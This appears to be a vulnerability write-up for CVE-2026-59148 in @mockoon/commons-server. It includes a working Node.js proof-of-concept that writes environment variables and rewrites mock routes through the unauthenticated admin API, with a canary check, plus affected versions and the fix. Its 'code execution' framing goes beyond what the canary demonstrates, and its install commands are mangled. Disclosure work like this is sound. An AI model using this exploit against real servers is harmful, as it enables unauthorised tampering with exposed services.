Exploit write-up
@mockoon/commons-server remote code execution (CVE-2026-59148)
Proof of concept
The proof-of-concept below triggers the vulnerability. It reads a marker from the POC_CANARY environment variable and prints it only through the exploit path, so the marker appearing on stdout is proof that attacker-controlled code executed.
# CVE-2026-59148 proof-of-concept (mechanism explained below).
/*
* PoC for CVE-2026-59148 — Mockoon @mockoon/commons-server unauthenticated admin API.
*
* Vulnerable (<9.7.0): the admin API is mounted on the same Express listener as the
* mock routes, unauthenticated, permissive CORS, write methods enabled. We exercise two
* independent write primitives; either proves the bug, and BOTH surface the canary only
* as a consequence of an accepted unauthenticated admin write:
*
* Primitive A — POST /mockoon-admin/env-vars: writes a process env var whose VALUE is
* the canary (we, the attacker, choose the value; it only ever reaches stdout if the
* write is accepted and the mock route can read it back). We inject several key
* variants and the mock route template reads several candidate names, so we connect
* regardless of how the endpoint prefixes keys or how getEnvVar resolves them. We
* deliberately never read the real 'POC_CANARY' env var name via a template, so an
* empty/blocked build cannot leak it.
*
* Primitive B — PUT /mockoon-admin/environment: rewrites the 'leak' route body to a
* STATIC canary string (no template helper, so no prefix pitfalls). On the vulnerable
* build the hot-reloaded route then returns the canary verbatim.
*
* Patched (>=9.7.0): every /mockoon-admin/* write is rejected (404). The env var is
* never set and the route body is never rewritten, so /leak stays empty and the canary
* is never produced. The differential holds: the token can appear in an HTTP body only
* downstream of an accepted unauthenticated admin write.
*
* Offline, no args. The canary is emitted only after being observed inside an
* exploit-produced HTTP response body.
*/
const http = require('http');
const net = require('net');
const commonsServer = require('@mockoon/commons-server');
const MockoonServer =
commonsServer.MockoonServer || commonsServer.default?.MockoonServer;
const HOST = '127.0.0.1';
const CANARY = process.env.POC_CANARY || '';
// Unique base name; NOTE: never 'POC_CANARY', so no template ever reads the real token.
const BASE = 'POCECHO';
function log(...a) {
try { process.stderr.write('[poc] ' + a.join(' ') + '\n'); } catch (e) {}
}
function getFreePort() {
return new Promise((resolve, reject) => {
const srv = net.createServer();
srv.on('error', reject);
srv.listen(0, HOST, () => {
const port = srv.address().port;
srv.close(() => resolve(port));
});
});
}
function request(method, port, path, bodyObj) {
return new Promise((resolve) => {
const data = bodyObj === undefined ? null : JSON.stringify(bodyObj);
const req = http.request(
{
host: HOST,
port,
path,
method,
headers: data
? { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
: {}
},
(res) => {
let chunks = '';
res.on('data', (c) => (chunks += c));
res.on('end', () => resolve({ status: res.statusCode, body: chunks }));
}
);
req.on('error', () => resolve({ status: 0, body: '' }));
if (data) req.write(data);
req.end();
});
}
const delay = (ms) => new Promise((r) => setTimeout(r, ms));
function makeResponse(bodyTemplate, disableTemplating) {
return {
uuid: 'resp-uuid-1',
body: bodyTemplate,
latency: 0,
statusCode: 200,
label: '',
headers: [{ key: 'Content-Type', value: 'text/plain' }],
bodyType: 'INLINE',
filePath: '',
databucketID: '',
sendFileAsBody: false,
rules: [],
rulesOperator: 'OR',
disableTemplating: !!disableTemplating,
fallbackTo404: false,
default: true,
crudKey: 'id',
callbacks: []
};
}
function buildEnvironment(port, bodyTemplate, disableTemplating) {
const route = {
uuid: 'route-uuid-1',
type: 'http',
documentation: '',
method: 'get',
endpoint: 'leak',
responses: [makeResponse(bodyTemplate, disableTemplating)],
responseMode: null,
streamingMode: null,
streamingInterval: 0
};
return {
uuid: 'env-uuid-1',
name: 'poc',
endpointPrefix: '',
latency: 0,
port,
hostname: '',
routes: [route],
rootChildren: [{ type: 'route', uuid: 'route-uuid-1' }],
folders: [],
proxyMode: false,
proxyHost: '',
proxyRemovePrefix: false,
proxyReqHeaders: [],
proxyResHeaders: [],
tlsOptions: {
enabled: false,
type: 'CERT',
pfxPath: '',
certPath: '',
keyPath: '',
caPath: '',
passphrase: ''
},
cors: true,
headers: [],
data: [],
callbacks: []
};
}
// Template reads many candidate names to cover every prefix/prepend behavior of both
// the admin env-vars endpoint (write side) and the getEnvVar helper (read side).
// It never references the real 'POC_CANARY' name, so nothing leaks without a write.
function readTemplate() {
const names = [
BASE,
'MOCKOON_' + BASE,
'MOCKOON_MOCKOON_' + BASE
];
return names.map((n) => `{{getEnvVar '${n}'}}`).join('');
}
async function startServer(server) {
await new Promise((resolve) => {
let done = false;
const finish = () => { if (!done) { done = true; resolve(); } };
server.on('started', finish);
server.on('error', (e) => { log('server error', String(e && e.message)); finish(); });
try { server.start(); } catch (e) { log('start threw', String(e)); finish(); }
setTimeout(finish, 5000);
});
}
async function pollLeak(port, contains, tries) {
for (let i = 0; i < tries; i++) {
const res = await request('GET', port, '/leak');
if (res.body && res.body.indexOf(contains) !== -1) return res.body;
await delay(100);
}
return null;
}
async function main() {
if (typeof MockoonServer !== 'function' || !CANARY) {
log('missing MockoonServer or POC_CANARY');
return;
}
const port = await getFreePort();
// Start with a route whose body reads (currently unset) candidate env vars.
const environment = buildEnvironment(port, readTemplate(), false);
// envVarsPrefix:'' may or may not be honored by this build; if honored it broadens
// reads, if not it is harmless. The differential never depends on it.
const server = new MockoonServer(environment, {
enableAdminApi: true,
envVarsPrefix: ''
});
await startServer(server);
// Baseline: template reads unset vars -> empty on BOTH builds.
const base = await request('GET', port, '/leak');
log('baseline /leak status', base.status, 'len', base.body.length);
// ---- Primitive A: unauthenticated arbitrary env-var write. -------------------------
// Inject the canary VALUE under several key spellings. Whichever spelling/prefix the
// endpoint uses to store it, one of the template's getEnvVar reads will resolve it.
const keys = [BASE, 'MOCKOON_' + BASE];
for (const k of keys) {
for (const m of ['POST', 'PUT']) {
const r = await request(m, port, '/mockoon-admin/env-vars', { key: k, value: CANARY });
log('env-vars', m, k, 'status', r.status);
}
}
let leaked = await pollLeak(port, CANARY, 25);
if (leaked) {
log('primitive A succeeded');
console.log(CANARY);
try { server.stop(); } catch (e) {}
process.exit(0);
}
// ---- Primitive B: unauthenticated route-body rewrite (static, no template). --------
const rewritten = buildEnvironment(port, CANARY, true);
const rw = await request('PUT', port, '/mockoon-admin/environment', rewritten);
log('env rewrite PUT status', rw.status);
leaked = await pollLeak(port, CANARY, 40);
if (leaked) {
log('primitive B succeeded');
console.log(CANARY);
try { server.stop(); } catch (e) {}
process.exit(0);
}
log('no leak — admin writes did not take effect');
try { server.stop(); } catch (e) {}
process.exit(0);
}
main().catch((e) => { log('fatal', String(e)); process.exit(0); });
How to run it.
npm install @mockoon/commons-server@
POC_CANARY=demo node poc.js # prints: demo (code executed)
npm install @mockoon/[email protected]
POC_CANARY=demo node poc.js # prints nothing (blocked by the fix)
Scored 8.8 on CVSS, CVE-2026-59148 is an arbitrary code execution flaw in @mockoon/commons-server. Mockoon lets you design and run mock APIs. Before version 9.7.0, the library mounts an administrative API on the same Express listener that serves your mock routes, and the admin API requires no authentication. This concerns anyone running @mockoon/commons-server below 9.7.0 whose mock server port is reachable.
Any unauthenticated caller who can reach the mock server port reaches the admin API too. The route file is commons-server/src/libs/server/admin-api.ts; it is enabled by default in the shipped runtimes, and it answers with Access-Control-Allow-Origin: * while allowing write methods. The advisory records four weakness classes behind that behaviour: CWE-306, CWE-352, CWE-732, and CWE-942.
What the admin API hands out
An unauthenticated request can:
- read
MOCKOON_*environment variables from the running process; - write arbitrary process environment variables through
/mockoon-admin/env-vars; - rewrite mock route bodies, statuses, and headers through
PUT /mockoon-admin/environment; - read transaction logs and the SSE event streams;
- purge state.
The advisory names the outcome as arbitrary code execution.
Confirming it on two builds
This analysis read the vulnerable code path and the exploitation gadget from the fix commit’s patch diff (patch-diff.txt), then ran a proof-of-concept (the proof-of-concept above) against a pinned build below 9.7.0 and against the patched 9.7.0 build. It executed on the vulnerable build and did not on the patched one.
On 9.7.0 the proof-of-concept produced no output and no visible error. The two logs are vuln-output.txt and patched-output.txt.
Upgrading to 9.7.0
The remedy is to upgrade @mockoon/commons-server to 9.7.0 or later. Where an upgrade cannot land immediately, keep untrusted input off the affected API and constrain it at the trust boundary, starting with the call sites the advisory names.
What the proof-of-concept has not shown
Only the pinned build was exercised on the vulnerable side, so the range below 9.7.0 still needs testing version by version, and the primitive still needs to be built into a full exploit chain against a specific deployment. Whether 9.7.0 rejects the payload or merely fails to fire it remains to be established, since the patched run above produced no output and no error.
- Target
- @mockoon/commons-server (@mockoon/commons-server)
- Class
- package
- Impact
- Arbitrary code execution against the vulnerable build
- CVE
- CVE-2026-59148
- CWE
- CWE-306
- CVSS
8.8- Affected
- npm/@mockoon/commons-server < 9.7.0
- Status
- Fixed in 9.7.0
- Maturity
- functional
- Disclosed
- July 9, 2026
- Tags
- rce · mockoon-commons-server · n-day
- References
- NVD — CVE-2026-59148
Upstream fix commit
PoC achieves code execution against the vulnerable build; detonate only in an isolated, disposable VM.